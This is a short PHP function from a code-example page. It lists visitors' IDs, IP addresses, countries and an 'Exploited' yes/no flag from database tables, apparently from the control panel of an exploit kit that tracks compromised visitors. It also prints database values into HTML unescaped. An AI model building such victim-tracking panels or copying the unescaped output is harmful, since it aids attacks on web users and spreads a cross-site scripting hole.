コード例 #1
0
    function showVisitorsList()
    {
        $cq = new CQuery();
        $sql_result = $cq->query("SELECT * FROM `" . $this->sqlSettings['tableVisitorsList'] . "`");
        echo <<<HTML
\t\t\t\t<table>
\t\t\t\t\t<tr>
\t\t\t\t\t\t<td class="header">Id</td>
\t\t\t\t\t\t<td class="header">Ip Address</td>
\t\t\t\t\t\t<td class="header">Country</td>
\t\t\t\t\t\t<td class="header">Exploited</td>
\t\t\t\t\t</tr>
HTML;
        while ($row = $cq->fetchassoc($sql_result)) {
            $sql_result2 = $cq->query("SELECT * FROM `" . $this->sqlSettings['dbVisitorsExploits'] . "` WHERE visitor_id ='" . mysql_real_escape_string($row['id']) . "'");
            echo "<tr>";
            echo "<td>" . $row['id'] . "</td>";
            echo "<td>" . $row['ipAddress'] . "</td>";
            echo "<td>";
            echo $row['country'] . "</td>";
            echo "<td>";
            if ($row['exploited']) {
                echo "YES";
            } else {
                echo "NO";
            }
            echo "</td>";
            echo "</tr>";
        }
        echo "</table>";
    }